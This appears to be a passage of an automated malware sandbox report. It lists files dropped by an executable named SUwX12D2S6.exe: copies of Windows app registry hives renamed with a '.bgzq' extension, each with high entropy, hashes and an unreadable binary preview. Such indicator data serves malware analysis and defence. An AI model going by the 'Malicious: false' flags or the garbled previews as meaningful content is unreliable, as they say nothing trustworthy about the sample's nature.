MD5:	4580E4CB938D691E56DF05A7578C9984
SHA1:	9F536D832E872DFDCC6E3EB3D62CB2DD766F2325
SHA-256:	0DC955F65F7707BDED4B3BCEA5863F4B93FB96F54FF6343629D30F60CE9A7A78
SHA-512:	0888626B269D1BF59960C2037D4A20AD65A0763B750BB062A7968DEBC94222BB92D0AEB075FB2EDE63FB451554B8DDE33B7B70218444055FFCC9FAB27802FA01
Malicious:	false
Preview:	regf..<o(B..m>'...H{m.H.^..xb#V...n]bA.....5...........GyV.Mc...{o.N..w...8.E...\|.......Qd.F..`...C.f.i<.@"..._.\.R.....d.R.I~9..q..i.i.._.....Cy.:..9..L..%~..:<..<.....>.(.7...ZD...qBp.#.ODp..Q..5.........%..$.\.....]..m...WOK.Qa..(.K../.__2...sY[.-.{.8......b..........j.....SK..XPG...m^}..v..\|W..hs.[8.N..8.,.....!..G....8.j.......M...0..t5Wi...d...4.9...9.>.E7.B ......Z-.......5.6...................J.5....'.LMv.N.ZPk... .(....%,z.]1....!.].=.ZG.F..,.X.,.....m.m....gd.9...C.x.\|..0i..Djk...g.D.&?..s.....w.t.v.y.(. .\|w..............{......L]..P.K..o7B.....q.m..$.z.@2.F,rZ..s...>.T'..f.6.....p...{..d.*.-I.W.!.......O(...{.:9.2.....L>T@....FQ..^.^<h}..Hj....8. X....H0%...L._.u:/-bo....v....=...'..%.S.\|UW.R. ..f.Vd..c.:..h.....L&.D....Fhq8..1...H..<hbR.h<.......E....g....C..C...A'......7.......P.}.8S...]_0q..\|....mc.z.EE._,T..-a.j\|..F.....{n.B;.ht...........8U6..LN.C....%.{.C ..TPENp.....1F.).I.9....tV.#-u>u.=E...x?p.J..1.#...T...

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978893972764182
Encrypted:	false
SSDEEP:	192:4UsMghrKfWcEXbti8nIZCNVWxnTOe21H0VSyfV0YUNaZ3xKXii4CNHOg:7sMgcfWcAbti8IZkoxSD0oUe/NaZ3xKn
MD5:	780B57C85B2A8F4028C23C8AF84B1F87
SHA1:	FAFA5C4EB34A3C65C957C303A98063BE5DC3AF15
SHA-256:	DB8F381E2D6344B0303CE3827855807C4CC30F0DEF644883C39BE454FE66A29A
SHA-512:	3E8F6B3A367AE0241AF9FAEAF285565E1B3BF93B4919062880D4F7E77F0914B57EF9EA8BD8FE6E9DB62EA98640D7230190924DAFA0D7AD5EF63BE1FC6599387B
Malicious:	false
Preview:	regf..+.t..zx..DA.ZVe.6..(...P.OY...c.f..o..BO]../<{.gr.....i.i..Y..4. d.1?8.fy.\..h....K[.......d......'W....F(!.'/#9..{r.....NX...O+6;.M..K.O..0...............n....2....\......F$..X..........oz].JO.....%..O.9..h..M...wz.......6.A.d..5...M.d.....u.E.<....^.TS>...E...=.N/..........&m.....k.i..R...".m...qC...5>..Wl.Y..R.Rv....86Y.....Z.#.sxLv.._...^`..p.c1N.~..g%.\|...6lh...f.....XCZ.G.........dP...V_...:...;z.F7......W..8O.2..g.3.b..3#....$.N....<x..&....r..B.k..MD&...Q.....#.+h.u..+...b..N...Q'g....V..t...`..M..F...W};..\c..{24...N.VM...E..%..m.x...2]g.?...r.q-..z.........H...oJ.V...../....K.........y.]h...n@g....(i0....qk..)yH..W.......'.qJB...Ps.........`sn.......$..R?]7...=.._P..c..<..45..l.ca.q.....C...1.C[.....s?.[..U9...5m.'.Q....#Y.a%S:Q...F...(N._.NG..&...R.I..k.n...pa@............xX6...k$...D5l0B{.*.'...........?3..xV...%=:.B....\X.f.6e-V}.[..U...W.y....9A..~..........H.......C...'.....v.^i_.^y0P@.WC..%..u....!H.....,....

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788052776398395
Encrypted:	false
SSDEEP:	192:srGWEb4Dsz5sSHvsjvYc8pCdIOjoM9LRABAx+1U5YX:uGWEbwUc3qlMRWBud5+
MD5:	A813B4A649ACAE154DB105ED9F531826
SHA1:	18EC351AEDBF99EC2A64CABA2B4E7DFBFC05DA24
SHA-256:	97EB6AE880192BEC9626724733EF5737663E63EBE86AD8249594F50DFCCA72DF
SHA-512:	11038BBE69CFB0B29BB57B41EFB2270220A0F3952D22DDFC5DC730A20751F8275EFBFAA8301BB50035EC0074C2D8B682B969080263E6E2681862FCFEBDB2FD57
Malicious:	false
Preview:	regf.]HF.H.9.....4.../#.tq....5......0h(.........N..t........(....."..l........8.B...KY.he.\|e&.QG.3.70..@...=w..y.2_cf...yS....1?.....F..H....Y.].)o..h...4P..{.y....P......V@n......"y.-.]...R..\........Bi..{a.....18A.......%...}.....i..&...i.F.(..:.Px..T..S..l......p...k..!F.1..4.,..D.i..0~.H.o..$..O.\|Ia.x..?.a~qsA.....S..Js.Y~.\| G.{e...~....X.....3T...'.5S ..6.0D....x.h..5d. ...vS....9.&p..dq...;....,.:1......b......E...`.J....G..R./..sv.[L....l.I%....k.k...W.9....P.K.....S.\.d.@p{. a..o.>.f.I.o./...#....f....c.<....=_......i..!..YJ...y......y.n;`H...f.....g....?.~.Tz...0mX1b.f.KW{..G...X.A.r.T....a.9..8..,.....C..........q...{.:..}..9l.1....x%.yx.xa..B.I^....U.D.9....<..'.........j.9..AZ#.....N)^.(O.\|..L.....m\.Y....qv.......qz.[u...kV.D#A..'.....`..WLSe..N.z.......,......v6fY[..^...wo.C...%.h..S#...S.b9s.\..iYg:.,@.Ct%2,.../.g.+G\|[....2=.S.......%s..s.e.....K..3.n{.3u...r}.[b.*-6.......-...wM.k..+.uR..~...G.%.tq..ZI6.Rx\|.b.....F[....$

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978731692743928
Encrypted:	false
SSDEEP:	192:lf7q+YFreMioSW9pvUKIFQDAmbIyn59aPyfaxZ5:lf7RYFSPB+pvUc0mUyn/qZ5
MD5:	AA2A3175F735E5EB0041EDD9FE6D19C2
SHA1:	4C1350EFD3A6AEE92115B6DB795953A3D596CFCA
SHA-256:	F2BA619D9C1ECEFC38C75F34C1D677D70EB15F81A2EED60855467985F17E5881
SHA-512:	33A8342B39A0B2E4E528F6E914C74116F83F59650F7B89DAAE20F689ED243B732336B5D2B55E70ED47FC70E389CA03EDEAEC0431DCBEF597F8EE6C0DB231DA28
Malicious:	false
Preview:	regf..r:.........=9.r........o;.^.%.;=~.f...IW.X...%{....z.D..cr{..~..et....Hm....,.4.1X@ah.... .6/..-.9...../...B.&.$....NY..w.uJ....I .......4...P5F.$.Vx'..}.-N.......+C...Y.1.WEPt.....H..k.NS.}....C..QG.N.qk......9....._.S.r.`..,.?..m.m.?kD........G..w.......q...%......A.S.t[..).K:.C.......2..4..9/...].B...B. ..%.pS)_. ...}...;.f.<...q...D.........X.].+M..M...{.E.{.........qSd....>.......G9.j8o.:... ..\.8..l....M.o..v...[.G\........_...@...'...../*..e\.2T..{a.D']~LZ4.7N.QI.....SX....R...I].........W.>y^%...k.....U....$...4Pv...c0....k.3=.o&......#EqZ...4...".,i..V4.s.uZ......{Cs..7..K.h.?........C...uk.T.4..n.?...4+2..,....fF..w.n'.1~.}P..BXd.y..c(...x%4.A......p2.......i..:w...Ti.0.Uj..I...>..'.......Y.d.X.E}...F......YP..El.......N.......Y.v.!JQM.<.(.p.s.AD.}.U.1$..5....$.L...<...n.>J.#D....0.:..+H&?G..).[.(..r.-RNAW.FQ_..0.)..3].....@.T....?.^..5........o..C..$...?l...P.@9.+....m>....'#6#yZ(Er......h.DQf..;k8..Z...Qm.'

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977529528538189
Encrypted:	false
SSDEEP:	192:n7mXpg3S5jSrjNenAkkandtT3G9v5z2LMJ1GQCZn3OH7bWw1h:7mZscnAcdBwv5z2LMJ14BOvWY
MD5:	60C1EEE5917E87AAE27D0F034714EAB5
SHA1:	9878D538F981A8F807613CE405C30DFA6FBBAE6B
SHA-256:	118DC41045E94F92EB74F38C88CE9D6869F82CC606D73150D9E815BA35388E4D
SHA-512:	9FBBDA14AAE8539C62AE4BAFA142D0B72C2E5C7F9C9492AFD47E90D92EE2A561DA4EDAFEF7B12403866AA925C6008754F4A1D5E86AF696150715A5C73E08E237
Malicious:	false
Preview:	regf.z&..\|...j.U(.>B..T..Q..J.....:s^4...B..U..M;$.`....Tj.<....{.xW..cE.....e....]...G.<.Y.....p...g...7.."ch...;....b."./-~.....l..qw2.'...Y'1......Jl-...7Z..Ad.71.a.!f..F..Ew~..q}Ase....G..]..t..........oB....a-..Qe.j..B..e.;..I....=..Y~..4.5../..;.....G.X.$..`~.=.Yo..J%.}v..ypZ....y2...$..dc...&.!.$q..H...o..Mx..7'/C9......d.....L.#..R....T~.V.i....@.d..$....6a.[....#.$"..d..Tg......".i..Q..$..P....L.l.}0"w&...]dl..;../G...nM"4fL..6Jq1{....~w?.}..xf+.SX.C`......A.V.e....D...............W`uZ.HX.uy.(......*.v..r..u...x.....R.\H.e..ylh.].......u0{~V..z.t..?,.Dr.J._d3.8..>......:.......x....m......b...W......E...v!....?U..rq..UYY......5.}3.f.....A..3N!....!.U.H=..u../FtO=....../ml/<<pvj.X(.....8>N.../<O-1....Yr...n.X.l^.........GD....g..S[.G.AgI.N&.B{c...................&.Xk..._...........X.]a..`...U..8k.m\|......e.z......m..g.....,..[V.8.+..q>.x..v.n..C.A.}.:%..V.....J/$....P..6.`5B.CM.b.<gYkQ9.\|..........0{.x+8-.m...K.h...{...:.t....;.

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974646620171448
Encrypted:	false
SSDEEP:	192:5Xrl0j4s8tYFii4/XzRzuQDhr7/r6eh8m8KNi0xdfTfkzMLj:trlcjR+VzNDhD1wtwdbfWY
MD5:	C806604565DD656A2B9E697CDDEDE33D
SHA1:	CBAD80A9B8B507C86A5804CB6647B5EF01CB82B9
SHA-256:	866AB859366FA3FB3D03F54A143CF7D577687334FB4BE6F2D9E27C328C0421BB
SHA-512:	6B6894105C2068F8F9A4EA27590B26D91E13A21C81CA0D9D67FE5478D80050C02CD6CA50A0C9D3A68400B7CBA317D7A90E5E963754475CFFF46A82F1FAD9BE54
Malicious:	false
Preview:	regf.).Lo......#...xt...l./.].....l.Ql./<.<..d...y....&3.-$#.N.Y..'..P.....M-8.U\|..M...-.K&...%z-...r+.....38....\|...P.ZO....^I.K..3U)u<.....<-..C...Q...5.......w.....t.. !......I..:.o..j....X...0]....,..).zh...[E.;.[/R..Cw. ..:^]b/..YBcv.k.....8.....,.....u....rT...5........g.g...!.h....O...?...Z~.XY\..y...#-.vg]HA....b...S..)q.....K...W.@..Sq~.!.r.u.h.....W..n....}V=&..L...n.X..T.\.k..\|.X.tC....!.T8...zU.:a.x..Z].......2./.{......T.'..4....apiZ.{.00...8.T<.3w.D.G.\|...,.!8}@....Af.p.....I...h......p...$..f.....U.....^..2...2.:.^..x.A...Pb.en.76....h.5B.....v8.O7,v.3.IR..J.%..E......}.p...J.5...[.....:..3...[.p.s3V......y.m..(.:.~.L.F].;[.....8...><.......\|>..C.X.FN..uV.\.q.....&..G.....{.c.D..O...~.c..:%B.Rn.....8.e.3...=g.Fc...=.t..x.....Xy.ju..ou..<.L..-....$h.9uK..IB.t..k........f.O,q:P....(.qE...>.O.s.W.wA....p. O..J..^.8...!zRF&q..s.....n.@.Y."..7..[^.^.....1...Z......{F.)..9......v^....o...@.r...H...._r...I.....XEsP.*...,Mf.Ja.

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9780916106688835
Encrypted:	false
SSDEEP:	192:PsX9YgF2zwAr9boXVmvhjMJMA39Y6ZbM8YMjEv03gU:P/gHArO8hjMzJbMCJB
MD5:	68A0ED67B617107B54B49018A9003D03
SHA1:	E95ACDC804F1C6C247DDF42C3B56DC6EFFE71FAC
SHA-256:	69F79CDDB969FBE25371EA2C6BBBFDEBDA8252249E41F056019321679A1ACA85
SHA-512:	4EA810D74C2D2EAAF556E884FC540028F12873708D50959DB51B86D8055AB004C98D17504C8282ACF00A9DE78BF42B1411F7F006CC91362B4709CC410A9EABA1
Malicious:	false
Preview:	regf......d<i3..+\|VN....Zc....\|.H.~.Uqq..?..w...i...........U@B.fz\|..?u;`......}46....y#.....W.....[.]:.....F.pI.......$.T r..I[B.-^r..d...}...8...p..u.]L.Q.u.......[.9".f..a..oB..2..r....m0..........<tkz9~.Iw5.5.....uXJ&.GL-q..eE..JA{.P..8.....,.u.,...S.io...>...5\|.ko\.?...B.....Y...F....G.z.M1y.'xrLo..j...q......j......I.........7%.q.;......JcH....)...5?..D?...(..U.R.h...V.P....R..../....4.j..4......zK.a....Sx\.&^.=;..R^.....l..x.v.r..E..2T...\.H....i.x.ht..yp.m..Y.e.P...7r..(5Dz.........4.K.$...c..%q..d...9.sQ..r.in.Z4....U..l..j..]...u+n.I... $c...).n ;H.h..+..H.._.7..NaL..Y.......92.ujI..X..!.O..@.....n.A...&c.!.i"..f.K.Tw......:..a..:{e.Sz......].E..@...J..J.>..K9..h."d...6}.N.OWw=.p.iHL..mi..gt.H[.';i.D.P.2;.x...4l.fV......(...9"G.4.%..:D......W.7.Q.i.Lz.5...k.8.Jc...9..r.....z.Sd...\|..r.5.X..H?7.J."A......x...~.bj.v.Z.\|x..j>..o.vt...\@.D.5...\|...C..\m}..zy.8...e<./..4... H.\|.ie..W.V..;o.rg.W:R,...=..X..?=..o..'.J

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977531631785097
Encrypted:	false
SSDEEP:	192:52sq/hAru3YhhZ6U4xltTBMRjSdGFzw4n5:52sq/SrwiZqfYjVFz75
MD5:	B95F035EE43B7389D985435DD5FE7E1E
SHA1:	50217F0715A08CBB74FE7E642B1D27EB077B4B53
SHA-256:	E3EE82C377AB372FE76C7B7E7CA0A489849A33E3C0051914B0C5A5C9406765EC
SHA-512:	CAB259F7E0DB48F713851240E9DF8E9B258A10D78B79276DFCABA9103388126D21FE8AB756B9D28026B8A69A953F0B3B09C90858E83247B90CFFC76F7502F0E0
Malicious:	false
Preview:	regf...".....Y.B.<.L.s+w9...,.....Q...........NxY..%....S.;.B......4..[...5.$.X]..7.3j.+@.<X.....NL."..'....`..o..O<.f....0..p..;z...1.{[.8?~F.....).J..k[......x....n...n)X.B1.d1.0..F..-q.Pi.g.........P.PR....C..UZ..;bDP..h....P.vC...L...(...D.=..1..p].....N.e.C....2...Z,(....X,Z.y...p.........P..)R....2...e.k.,.qO@0......+S....pF."...Y.~z..7...>%.q..;.......}=0....$. )w....W....Pz..S...g>...Z...%s.....\.t. {...do.a.......o&.......0.&+....bOd.,..s.f;.......3.p. T..8I.F....f=......Teh.....9.0.5[.....x.4..%\.j/.j.......Tm.....?r...S.r`..`../......"Rb..1......x...%..*..:....9y.D....h^.y.l...+..7AU.../5.{..V..-.`.b.[.b;...=...(....@...9t>.;.X.5..K....l.?.NJB2..'&.)....d.....,?Q...v..'.......H..N<I;.......>.~)....!'{.'....3.s.g.0O....=..'z.....Hkc.F&..k..'....j.i.p({..It....g..m...p...._S.kr5.V..[EP...7.$...=G9~21.rx..b.8!..I.....?...eo..=M8@.H........^G?.......L.8.....pf.SW.[....9.@v<.J.(l...)V...o..g.....T~........Q...d.A..H..P..:.^NOr

C:\Users\user\Local Settings\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977922767635852
Encrypted:	false
SSDEEP:	192:Zu0McFrDjaIWU+J20pgOQXxno3+uSWOrsjAO9Jn+s1LkidYuE:ZuuFrazHpUno1OIPpkic
MD5:	8C7D35CFA02C510BAEC58F70E4A0BDBF
SHA1:	DB484A0170FF182DEB9BA65C07F3ADD2DEB870AA
SHA-256:	FA23AC9730111940D9FBCC01F65CF117223BDF22DEB30B57191FE44264E50637
SHA-512:	678E1D6806EBEBB271375C656AB3B7D9A082E28E245FB211F0DD977BC31C7C6D53064C0A88A37611A0FC409787B4B1AAB893ECF0E7B2464C6A0455A608EA61D8
Malicious:	false
Preview:	regf.o...;n/......wt..&d...4....n#C@.pE.%.y...G..T...;r..u.:.\|....7{B"(z.a.X...E.z.v .g.A.<A.y.$h-.(..@...v......0.......D.#.$...'...\.....i..\|_....0..6....E'...........c=.r.....^.o....~.s...& c.k.....H..d..L!R.Z]....\|.{.~........l.&.n%..:..{..O.!..._h.$.-.[^z..#..k..q.a.9:.......Q.>.?.P[...}...{....v..Td.z^.].....;Bn. y.n.H..f..........29v7....[..a..K.....z.Y.x.v.i!..C.......K2E.;.lq=...s..RYI=R.D..x.4..6...)9.=.X.$"5.S5..O...!...{.........9..1..g.S.3...$..).9..sQ./..s.L../.....n..x.m./j.`...O..Ic^.;B~l..7.G....H.X....f...e..D......F.....<...%`.(.....b..6..'..A.8T.....^M2\|...s....w.j..i..S\...M..]..;9..........'H._..6X.}..<.......4.......AN.n....l2>.&....yAGy..yK.g;.*.Q..h.n..tv\|..br.;G.TQ.m.O.k...'..Z...opF.n..J.^.......dt......{.O.di..MLOx<.6....{.nn..Dki..L..].%+V..t......#....7..<...#.....O..e.)g.e4......,.=.....d..\|.!..j..^_6..#...c...S .I.L=..r.q...w.7..lk..U..vj..Nq.R$!.0z..8}.....f.2/QZ.X..T....t`)..2..=.H(.m.9i....Q....

C:\Users\user\Local Settings\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976330670865406
Encrypted:	false
SSDEEP:	192:nFqARNXONIdd7xADHOaAf5R+HnqGKi+p2LIKqUNXPyWeLW:nFRhS4d7xADHOaG5Yq8auI4P5qW
MD5:	54EAA93667C5EA54B45BB233C9070710
SHA1:	EE20536C9296674B73E9578068A374B54804652F
SHA-256:	CA1FD082EE432C7A81280EE1325BA488FFF4786D6416622C0D28ABFB63910428
SHA-512:	BF8023AA187A5A5F08E9B8BE72D230A974866D98E6D2141347AADD9F4C3F33F1B7524D7699790FC801D3DBEF563666AF7972334D57FBFA9D5BF811AF247338EE
Malicious:	false
Preview:	regf........}...04........8u.dk.a.D......6......H..h...}Y.".K..E..v..,N.Ir.u"....Z......5\|../zJ..A..S..i..)p0.b.<................fL/.aBKg...c.C"P.w..]..e..(..G...v..&H.K?.l.2..f.....B_pT\m..Hi..JG&...c8.B......3%..4.......... e..N3JO......<]...x.?D.....i$..:.^...>.C.&...y.Z...L.v...W.C...\1.CR.L....y...CH8U.a.).j..5..6.u..S....:..s`..'.?.Q..3.3....wJ.x....?.7.zD.......vj...3lH]sB....6F....N..WO.n..`.%p...i.Z...m..M..g..\.....L@i..>)..+.C(.....9B..L..H.@z."5.I].@./%....\~a...-.r.L.w2....(..."..E3L.=-...Q6.W(@.!.s(..ko.mv.!G.......Z.mB>......3..$.......\|..\|^..).....B.C.g..m{...z..s..8.z..2..kf...v.GI.l..?....:.AG.V....d4.v....x...&.X../.$....<.m...L-[...wg@Bick\...wZ..V /.......#..........Pq;5..}N..c.k.<....@.9;"!..F_..7.'.s.....,...X7.h.....y..\....R.1..LL..7F..C.....u.<.`...\|.VZ...Y=.?W"..E......sl..6......^..3.4.r.M.U.cT#z...:.N."...d..._.*...3".h;j[..a.N..._gX...h..(....#....Iye(bf.....$..=A...~....B.K.....:..F..7...j../.P.Z..e....+.

C:\Users\user\Local Settings\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976875713300839
Encrypted:	false
SSDEEP:	192:XcB8nrIuO5ttOZHmvBB8JGcNUj+ef7HayOQI+oIIe5csemRbILD5:XJnvONXpKJGLTYQroIIe5cxmRbIv5
MD5:	498B41E50B2F5DB09A393AC6A6CEF1DA
SHA1:	FB338A6A00EB6CF8B43C0A9318ABEF8C5AFB1D1C
SHA-256:	B94E0A03A52BDE4A4A55DC524D43EAB3A2DA05C19F1C93681A7F86A437450197
SHA-512:	2F244D8C4F26954EAF52FC97CCAA776F85539749F7AAEFD801B61170C9141E1C2D397A6AF49C999484A898705B695694C4BF11033BFF4B335A3C0ADEA9820BE0
Malicious:	false
Preview:	regf.6h...s:.o=.+...'..h.... 1.....i5...w..o3c.5....].m.....{Z..Owz1{...G.dpP9..W...........7..t.8.O..{.^R#E..NZ.ov....<........3l.Y.o......a._... }....=].L.ei5.....X$.q..iGM...V...l.a.....y...O......u}l..h..0.....(gp'...d6.o.5.....v..@4..gL.&.<A.B%.E.....S...{B...e.'.............C8".9."....q....+.H.(".....o...ZL1..w7.J:). .\|eb...A..`gO...DV%..E........E...Y...^.'7B.2o.".......R.).sh...e........C.. .....jH.qM.....`.....f..&.u.47.....j.....{. ..QD.5o.{...!.<@...x..c.-Q...].i..P5.V..T.>.....y!..........G.uh\..........Q..x...^o.<..2..y..6...>..}..M3Y2..f.Z$.\|....TP...$D.Bqzo!..o..r.....crqv6.gX.mh.'.........).....H+x..C.3."......@Th/6q.3q@<w.BPow.t.W..........m..W..c4.{...:.....4.j.h.........S.{..G......!S5~.'....A..2....c. ..Y....&.).dt...J.[.a...8....4..2..`..qm..;.."..;5.M.e]E...._P...!..a..0.$....%F..tp....z..}Sk..7...h...L.G.Y..h. `S..x.V..+<........gw/.....N....6...CU..P....N.V.U.o.4.)UHJ.:....#..4..E....8_.G......a.8...x.]4Av..X.H})]..

C:\Users\user\Local Settings\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981548269569263
Encrypted:	false
SSDEEP:	192:luaTw6IuCs8+tH1kQI4EndTuOOlZrSff3rstLpafo990443rL:o6vH8Y1kvzmCrst9l990f
MD5:	01FADF222D1E02CC301608B74BB39D31
SHA1:	133FF3A536DD2CF74849EC00C32B31F21D356F3B
SHA-256:	2B2CDB858D4FDBF5F2EBE9BF85E587412344FB70A1820FD9674CFD38C7ECB69F
SHA-512:	668F2EB6778832961945831F486901E209CB6BF2498B3BE91AF4DA58F38525AA82A7CDC9CB6702A3DCDFD1E9A033675F1226DDE7FBFED56C6E88804951022021
Malicious:	false
Preview:	regf...9.....`..TDqN.....(.}5.&A>.,NW....B2....2.aBK.tK....(>S..@0K...u.o....j..=;...\|........V.%}fLq..O/{...H....O.A.s8n..t... \|.......m......Hq.m.....R....U...9......u....G..u...._.,b....s..._RM.v.5........,.....lI....0_.}]{..xY..d\..-..x.q\|.Q..Xl........."+$e.,C..t{k.."..E.V....U/..6........c....Q~.B.?...H.B%v<.{..z...4.t._0..k6H.....n.m.~.<.....%[./A.h.c[%...3R2P....t.x.w..........}.7.u..lb}.H...xN.c.0H..)...@.rDW$)..7...:o.@.....G...=~N..m1v.M5XS."4..Mo(...!......i.......x\|.!..M...Z....Og..7.Ry?....H0..,..._2....\|M9.r.!FF.&.q...a..3.w.9..\|p.Q9..F...C.T.0..2\|....T.l.f(3g+H.~H.?.M..aHDK1.....u...{v{;a....\.....<7....Ld..>I.B.9...M.r..h.]...l...`.{}.z..4..\/...I..[....fp..`...-Vg.......o.q......g.c.eN.5..:.....u....~7_..,&........j.;.>...Y.W.1..D.g.!Zq.....9......#.@A...u.e..Y4C.....^2-Od...kh.....U....&u.H4^;j..s..B..j7/R..6.....&..V.'.....vS$v....=.n..!...i@.2.D!c.I.l.j..dQ%.a.(.....M.......At.Y...%.E.2.X....quU^.F.b.!U..@&.

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980637213950796
Encrypted:	false
SSDEEP:	192:HmAHlh8RduGMkhpRRNuHhN/lIkgHaheVLm5RRtoCUA+Ep1y:HtH78zfMAWhNQH/Fm5RR2CUb
MD5:	41F306BE0AC54A4CE1E65A3A9C1ABA90
SHA1:	A0567AF5B6101408D5D2A486C1EC4C5549D016EA
SHA-256:	AF1B54963C41F7C38D397E056D3D53C2F47A53196069DDC581A328844C05F14F
SHA-512:	7DA630F56EB65B32727DC44A10D1F779AE4A09D328955567A38F4F041A53BD9EAC61B22E280726A59A5C23022BD9FCE0813D9BA2F02DD2DFE099275AEDFB377D
Malicious:	false
Preview:	regf.rV....tS.Z.1.y.7..x..o.../....W7...V..0=}..Q.-)y.s....[l.v.).!s:pY....kNm..8.....p.{a!?...#.F....V.C......a....W$....F4...40.gfP..{_(.......m..v.\|K.s.G....5B..NJz......}g..,q..+..\l...&..!%y.@G.}.p..F.g..V>......W.="...=l.x.3....@B:...E. .yz...I2...M..{AI...p..7../u..j.-...zqQi-......f.).....<...k..&t..........1;...IvR....i>.w.-..#,.m/{0..r.u..D....5Q...Pd.....#xG......Hj...$..~\|........PoLp..u\|v...Hg.u...T.L_WKm.!...K~2?..'.o.K.../..\|\.&.r3...5..~..b.......$....'=AN.=...O...#......+.-F..o9.0...ds..g....w.>f.......H..H3..}&^.!.@o...#(.[&.....f...t.k{..........V.q...........C<Wn.AT.y$........A.#ED..6x...U.@....+..x.].f..}.........].v.}......-bc..R..9:..a(......vh.;.E...'...x.....3.Y.....z..p.._..l..>......g..4.....>.......&rUl..i.1.....A-h?93....z...s.,RHj.Q.uX..W.E...E.=.....-fO..n~.Uqy.........W..2.A.h.n.K.SC..'0.i.S....ab...(c\|S.....E6.N.z..'Q........m..T-..c\|.......e...M.N..i...(..T-....vI*.K.c.....v.>.W.{...nm9-..}..ih...o........H..a

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9778007496921575
Encrypted:	false
SSDEEP:	192:VzGOixJs2g8+7r5K6WQIydeBVjp8gt2CSvJfsw13OU2:VgcZ8+74LQ/eB/8XhvVD3K
MD5:	379F9DEE0215147E18B51D90DFF685A9
SHA1:	17108D19C9C9F64373D1794F78BFD4104930E17C
SHA-256:	4D388B1B360F760B3EBC2F1082B2CC20815B09CA09AC62328E530EC3AC2FBA16
SHA-512:	1AC1855C65385160D56844E6FC7F63AEC17825312185A6E7A6E7389DBBE90CA71196FC82DE1C2A0870143E2738C66097738AF2EDC66D7F7B4A5D90D880F66B42
Malicious:	false
Preview:	regf...jT..J.qb...`a..`}T.u..\|A,.KG.{....oH.P.3.;...6lj.&.C..K..h.c..D.\...d.G. ....>..4....U-..Q....T......n(......S0t.+.\|..j..c....2B.9...@A.....JPqC..r..,V.G8....j]7.v..)8..;.....(..y2....._.P.$.~...U..%.j&....r......2.,.<.. ..1./I6.`.m....Vz.3.s........b....?.b.9......2.z..P...vI....rR.....&.-.Wq..;i...&.9'I+.W...G.....i~.1.....l.......h.+....o.R.n1.g.B.s<NTp.._9..F?...0{0w.+.....k&.bV?....Xt.M>W...in.....6...4.....N.>j........D...j.!.J.i..ZIGi..A.....(;.c#....35..P...+..r2(.7..J.....M...eBob..f..._7..J7f..h..7.U.6...T%i....C..!..K.)...dc...+..x,.:..r.....V.[G..:V..0..\.[<w\|.X.lY,Z...)...p.o..._.[. .~.....X.4..=.........U....... '.,h.:.}.!.AQ......K..V6./V;.s..T.....n.?..,..^..V 